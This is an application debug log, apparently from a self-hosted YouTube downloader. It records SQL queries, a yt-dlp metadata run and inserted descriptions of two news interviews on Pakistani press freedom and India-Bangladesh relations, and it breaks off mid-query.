Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", "4902f271-ec85-4504-8ff7-177f348565d8", 1440, false, "lKELVRDjIBc", "https://www.youtube.com/watch?v=lKELVRDjIBc", 1, "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", false, false, false, 1, [], 1, ~U[2026-01-08 10:22:42Z], ~U[2026-01-10 16:38:05Z], ~U[2026-01-10 16:38:05Z], "#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", 1440, false, "lKELVRDjIBc", "https://www.youtube.com/watch?v=lKELVRDjIBc", "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", false, 1, ~U[2026-01-08 10:22:42Z]] 16:38:05.757 [debug] QUERY OK source="sources" db=2.8ms queue=0.1ms idle=141.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 16:38:05.760 [debug] QUERY OK source="media_profiles" db=2.1ms queue=0.2ms idle=120.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:38:05.943 [debug] QUERY OK source="media_items" db=1.8ms queue=0.3ms idle=302.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [24] 16:38:05.944 [debug] Current batch of media processed. Will check again in 1000ms 16:38:06.947 [debug] Current batch of media processed. Will check again in 1000ms 16:38:07.953 [debug] Current batch of media processed. Will check again in 1000ms 16:38:08.955 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "India must moderate the anti-Bangladeshi fury fueled by the media: Jawhar Sircar, former Trinamool Congress Rajya Sabha MP & former Prasar Bharati CEO, to Karan Thapar for The Wire.\n\n..........................................\n\n\nIn an interview where he seeks to explain the many reasons why Bangladeshis have reservations about India as well as the historical character of Hindu-Muslim relations within Bangladesh, the former CEO of Prasar Bharati and former Trinamool Congress Rajya Sabha MP, Jawhar Sircar, has called for India to moderate the anti-Bangladeshi fury sweeping through the country and to “refrain from reacting to every provocation” from Bangladesh.\n\n \n\nMr. Sircar argues that the anti-Bangladeshi fury in India is playing into the hands of extremists and fundamentalists in Bangladesh. In this context, he points out that the decision to force Kolkata Knight Riders to drop Mustafizur Rahman was completely mistaken and wrong. It overlooked the fact that Mustafizur Rahman is an icon and hero for Bangladeshis and in no way responsible for the mistreatment of Hindus in that country. Now, he says, this will encourage ordinary Bangladeshis to turn against India.\n\n \n\nIn the interview, Mr. Sircar explains both Hindu-Muslim relations in Bangladesh as well as Bangladesh’s relationship with India, starting with the way Bengali Hindu Bhadralok dominated Bangladeshi Muslims during two centuries of British rule because of the disproportionate advantage they got from the exploitative zamindari system and from the monopolization of government jobs.\n\n \n\nHe then talks about mistakes India has made in supporting Mujibur Rahman, Sheikh Hasina and, in particular, turning a blind eye to her excesses and growing unpopularity. As he points out, when Sheikh Hasina fell from power “rage against her excesses spilled over as vitriol against India for propping her up.”\n\n \n\nMr. Sircar offers a detailed understanding of the historical evolution of India-Bangladesh relations which explains the present situation between the two countries and how it has emerged. Then, against this background, he talks about the forthcoming Bangladesh elections and why he believes the victory of Tarique Rahman and his Bangladesh Nationalist Party, despite its historical adverse attitude to India, would be the best outcome for New Delhi.\n\n\n\nJoin The Wire's Youtube Membership and get exclusive content, member-only emojis, live interaction with The Wire's founders, editors and reporters and much more. Memberships to The Wire Crew start at Rs 89/month. https://www.youtube.com/channel/UChWtJey46brNr7qHQpN6KLQ/join", "duration" => 2570, "filename" => "/downloads/music/The Wire/India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar.m4a", "id" => "NDVG7q8x7Ms", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=NDVG7q8x7Ms", "playlist_index" => 2, "timestamp" => 1767944211, "title" => "India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar", "upload_date" => "20260109"} 16:38:08.958 [debug] QUERY OK source="sources" db=2.6ms queue=0.1ms idle=1884.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 16:38:08.962 [debug] QUERY OK source="sources" db=1.6ms queue=1.4ms idle=1888.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 16:38:08.965 [debug] QUERY OK source="media_items" db=1.2ms queue=1.2ms idle=1891.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-09 07:36:51Z], 1] 16:38:09.057 [debug] QUERY OK source="media_items" db=87.7ms queue=0.4ms idle=1331.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["India must moderate the anti-Bangladeshi fury fueled by the media: Jawhar Sircar, former Trinamool Congress Rajya Sabha MP & former Prasar Bharati CEO, to Karan Thapar for The Wire.\n\n..........................................\n\n\nIn an interview where he seeks to explain the many reasons why Bangladeshis have reservations about India as well as the historical character of Hindu-Muslim relations within Bangladesh, the former CEO of Prasar Bharati and former Trinamool Congress Rajya Sabha MP, Jawhar Sircar, has called for India to moderate the anti-Bangladeshi fury sweeping through the country and to “refrain from reacting to every provocation” from Bangladesh.\n\n \n\nMr. Sircar argues that the anti-Bangladeshi fury in India is playing into the hands of extremists and fundamentalists in Bangladesh. In this context, he points out that the decision to force Kolkata Knight Riders to drop Mustafizur Rahman was completely mistaken and wrong. It overlooked the fact that Mustafizur Rahman is an icon and hero for Bangladeshis and in no way responsible for the mistreatment of Hindus in that country. Now, he says, this will encourage ordinary Bangladeshis to turn against India.\n\n \n\nIn the interview, Mr. Sircar explains both Hindu-Muslim relations in Bangladesh as well as Bangladesh’s relationship with India, starting with the way Bengali Hindu Bhadralok dominated Bangladeshi Muslims during two centuries of British rule because of the disproportionate advantage they got from the exploitative zamindari system and from the monopolization of government jobs.\n\n \n\nHe then talks about mistakes India has made in supporting Mujibur Rahman, Sheikh Hasina and, in particular, turning a blind eye to her excesses and growing unpopularity. As he points out, when Sheikh Hasina fell from power “rage against her excesses spilled over as vitriol against India for propping her up.”\n\n \n\nMr. Sircar offers a detailed understanding of the historical evolution of India-Bangladesh relations which explains the present situation between the two countries and how it has emerged. Then, against this background, he talks about the forthcoming Bangladesh elections and why he believes the victory of Tarique Rahman and his Bangladesh Nationalist Party, despite its historical adverse attitude to India, would be the best outcome for New Delhi.\n\n\n\nJoin The Wire's Youtube Membership and get exclusive content, member-only emojis, live interaction with The Wire's founders, editors and reporters and much more. Memberships to The Wire Crew start at Rs 89/month. https://www.youtube.com/channel/UChWtJey46brNr7qHQpN6KLQ/join", "India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar", "2acb934a-6ff1-4d50-b8ec-6eab39a858ac", 2570, false, "NDVG7q8x7Ms", "https://www.youtube.com/watch?v=NDVG7q8x7Ms", 2, "/downloads/music/The Wire/India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar.m4a", false, false, false, 1, [], 1, ~U[2026-01-09 07:36:51Z], ~U[2026-01-10 16:38:08Z], ~U[2026-01-10 16:38:08Z], "India must moderate the anti-Bangladeshi fury fueled by the media: Jawhar Sircar, former Trinamool Congress Rajya Sabha MP & former Prasar Bharati CEO, to Karan Thapar for The Wire.\n\n..........................................\n\n\nIn an interview where he seeks to explain the many reasons why Bangladeshis have reservations about India as well as the historical character of Hindu-Muslim relations within Bangladesh, the former CEO of Prasar Bharati and former Trinamool Congress Rajya Sabha MP, Jawhar Sircar, has called for India to moderate the anti-Bangladeshi fury sweeping through the country and to “refrain from reacting to every provocation” from Bangladesh.\n\n \n\nMr. Sircar argues that the anti-Bangladeshi fury in India is playing into the hands of extremists and fundamentalists in Bangladesh. In this context, he points out that the decision to force Kolkata Knight Riders to drop Mustafizur Rahman was completely mistaken and wrong. It overlooked the fact that Mustafizur Rahman is an icon and hero for Bangladeshis and in no way responsible for the mistreatment of Hindus in that country. Now, he says, this will encourage ordinary Bangladeshis to turn against India.\n\n \n\nIn the interview, Mr. Sircar explains both Hindu-Muslim relations in Bangladesh as well as Bangladesh’s relationship with India, starting with the way Bengali Hindu Bhadralok dominated Bangladeshi Muslims during two centuries of British rule because of the disproportionate advantage they got from the exploitative zamindari system and from the monopolization of government jobs.\n\n \n\nHe then talks about mistakes India has made in supporting Mujibur Rahman, Sheikh Hasina and, in particular, turning a blind eye to her excesses and growing unpopularity. As he points out, when Sheikh Hasina fell from power “rage against her excesses spilled over as vitriol against India for propping her up.”\n\n \n\nMr. Sircar offers a detailed understanding of the historical evolution of India-Bangladesh relations which explains the present situation between the two countries and how it has emerged. Then, against this background, he talks about the forthcoming Bangladesh elections and why he believes the victory of Tarique Rahman and his Bangladesh Nationalist Party, despite its historical adverse attitude to India, would be the best outcome for New Delhi.\n\n\n\nJoin The Wire's Youtube Membership and get exclusive content, member-only emojis, live interaction with The Wire's founders, editors and reporters and much more. Memberships to The Wire Crew start at Rs 89/month. https://www.youtube.com/channel/UChWtJey46brNr7qHQpN6KLQ/join", "India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar", 2570, false, "NDVG7q8x7Ms", "https://www.youtube.com/watch?v=NDVG7q8x7Ms", "/downloads/music/The Wire/India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar.m4a", false, 1, ~U[2026-01-09 07:36:51Z]] 16:38:09.090 [debug] QUERY OK source="sources" db=1.8ms queue=0.1ms idle=447.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 16:38:09.093 [debug] QUERY OK source="media_profiles" db=1.3ms queue=1.0ms idle=132.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:38:09.097 [debug] QUERY OK source="media_items" db=2.4ms queue=0.1ms idle=132.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [36] 16:38:09.099 [debug] Current batch of media processed. Will check again in 1000ms 16:38:09.281 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/playlist?list=PLrRjLdo_f3RuXWrY_jpzwW7v8Afo2pQ3C --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/music/%(artist,creator,uploader,uploader_id)S/%(title)S.%(ext)S --extract-audio --format-sort +acodec:mp3 --audio-format mp3 --format bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/cc/10/cc1067e0949ad2a60b9a42bbc7b7362ffb97e6c7278afb310e34e8d8ce51cba0.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 16:38:09.282 [debug] Gracefully stopping file follower 16:38:09.284 [debug] QUERY OK source="sources" db=1.4ms queue=0.4ms idle=317.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 16:38:09.286 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=229.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 16:38:09.287 [debug] QUERY OK source="media_items" db=0.8ms queue=0.4ms idle=195.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-08 10:22:42Z], 1] 16:38:09.327 [debug] QUERY OK source="media_items" db=38.7ms idle=194.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", "d41ed0a0-cc3e-4b07-948c-e42b50033620", 1440, false, "lKELVRDjIBc", "https://www.youtube.com/watch?v=lKELVRDjIBc", 1, "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", false, false, false, 1, [], 1, ~U[2026-01-08 10:22:42Z], ~U[2026-01-10 16:38:09Z], ~U[2026-01-10 16:38:09Z], "#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", 1440, false, "lKELVRDjIBc", "https://www.youtube.com/watch?v=lKELVRDjIBc", "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", false, 1, ~U[2026-01-08 10:22:42Z]] 16:38:09.328 [debug] QUERY OK source="sources" db=0.5ms queue=0.2ms idle=230.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 16:38:09.329 [debug] QUERY OK source="media_items" db=0.6ms idle=44.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-09 07:36:51Z], 1] 16:38:09.352 [debug] QUERY OK source="media_items" db=21.0ms idle=44.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["India must moderate the anti-Bangladeshi fury fueled by the media: Jawhar Sircar, former Trinamool Congress Rajya Sabha MP & former Prasar Bharati CEO, to Karan Thapar for The Wire.\n\n..........................................\n\n\nIn an interview where he seeks to explain the many reasons why Bangladeshis have reservations about India as well as the historical character of Hindu-Muslim relations within Bangladesh, the former CEO of Prasar Bharati and former Trinamool Congress Rajya Sabha MP, Jawhar Sircar, has called for India to moderate the anti-Bangladeshi fury sweeping through the country and to “refrain from reacting to every provocation” from Bangladesh.\n\n \n\nMr. Sircar argues that the anti-Bangladeshi fury in India is playing into the hands of extremists and fundamentalists in Bangladesh. In this context, he points out that the decision to force Kolkata Knight Riders to drop Mustafizur Rahman was completely mistaken and wrong. It overlooked the fact that Mustafizur Rahman is an icon and hero for Bangladeshis and in no way responsible for the mistreatment of Hindus in that country. Now, he says, this will encourage ordinary Bangladeshis to turn against India.\n\n \n\nIn the interview, Mr. Sircar explains both Hindu-Muslim relations in Bangladesh as well as Bangladesh’s relationship with India, starting with the way Bengali Hindu Bhadralok dominated Bangladeshi Muslims during two centuries of British rule because of the disproportionate advantage they got from the exploitative zamindari system and from the monopolization of government jobs.\n\n \n\nHe then talks about mistakes India has made in supporting Mujibur Rahman, Sheikh Hasina and, in particular, turning a blind eye to her excesses and growing unpopularity. As he points out, when Sheikh Hasina fell from power “rage against her excesses spilled over as vitriol against India for propping her up.”\n\n \n\nMr. Sircar offers a detailed understanding of the historical evolution of India-Bangladesh relations which explains the present situation between the two countries and how it has emerged. Then, against this background, he talks about the forthcoming Bangladesh elections and why he believes the victory of Tarique Rahman and his Bangladesh Nationalist Party, despite its historical adverse attitude to India, would be the best outcome for New Delhi.\n\n\n\nJoin The Wire's Youtube Membership and get exclusive content, member-only emojis, live interaction with The Wire's founders, editors and reporters and much more. Memberships to The Wire Crew start at Rs 89/month. https://www.youtube.com/channel/UChWtJey46brNr7qHQpN6KLQ/join", "India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar", "a5376de1-7923-47ee-a774-adbbc5e4de2f", 2570, false, "NDVG7q8x7Ms", "https://www.youtube.com/watch?v=NDVG7q8x7Ms", 2, "/downloads/music/The Wire/India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar.m4a", false, false, false, 1, [], 1, ~U[2026-01-09 07:36:51Z], ~U[2026-01-10 16:38:09Z], ~U[2026-01-10 16:38:09Z], "India must moderate the anti-Bangladeshi fury fueled by the media: Jawhar Sircar, former Trinamool Congress Rajya Sabha MP & former Prasar Bharati CEO, to Karan Thapar for The Wire.\n\n..........................................\n\n\nIn an interview where he seeks to explain the many reasons why Bangladeshis have reservations about India as well as the historical character of Hindu-Muslim relations within Bangladesh, the former CEO of Prasar Bharati and former Trinamool Congress Rajya Sabha MP, Jawhar Sircar, has called for India to moderate the anti-Bangladeshi fury sweeping through the country and to “refrain from reacting to every provocation” from Bangladesh.\n\n \n\nMr. Sircar argues that the anti-Bangladeshi fury in India is playing into the hands of extremists and fundamentalists in Bangladesh. In this context, he points out that the decision to force Kolkata Knight Riders to drop Mustafizur Rahman was completely mistaken and wrong. It overlooked the fact that Mustafizur Rahman is an icon and hero for Bangladeshis and in no way responsible for the mistreatment of Hindus in that country. Now, he says, this will encourage ordinary Bangladeshis to turn against India.\n\n \n\nIn the interview, Mr. Sircar explains both Hindu-Muslim relations in Bangladesh as well as Bangladesh’s relationship with India, starting with the way Bengali Hindu Bhadralok dominated Bangladeshi Muslims during two centuries of British rule because of the disproportionate advantage they got from the exploitative zamindari system and from the monopolization of government jobs.\n\n \n\nHe then talks about mistakes India has made in supporting Mujibur Rahman, Sheikh Hasina and, in particular, turning a blind eye to her excesses and growing unpopularity. As he points out, when Sheikh Hasina fell from power “rage against her excesses spilled over as vitriol against India for propping her up.”\n\n \n\nMr. Sircar offers a detailed understanding of the historical evolution of India-Bangladesh relations which explains the present situation between the two countries and how it has emerged. Then, against this background, he talks about the forthcoming Bangladesh elections and why he believes the victory of Tarique Rahman and his Bangladesh Nationalist Party, despite its historical adverse attitude to India, would be the best outcome for New Delhi.\n\n\n\nJoin The Wire's Youtube Membership and get exclusive content, member-only emojis, live interaction with The Wire's founders, editors and reporters and much more. Memberships to The Wire Crew start at Rs 89/month. https://www.youtube.com/channel/UChWtJey46brNr7qHQpN6KLQ/join", "India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar", 2570, false, "NDVG7q8x7Ms", "https://www.youtube.com/watch?v=NDVG7q8x7Ms", "/downloads/music/The Wire/India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar.m4a", false, 1, ~U[2026-01-09 07:36:51Z]] 16:38:09.409 [debug] QUERY OK source="sources" db=1.6ms queue=0.1ms idle=120.2ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-01-10 16:38:09Z], ~U[2026-01-10 16:38:09Z], 1] 16:38:09.434 [debug] QUERY OK source="media_items" db=1.1ms queue=0.2ms idle=105.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", 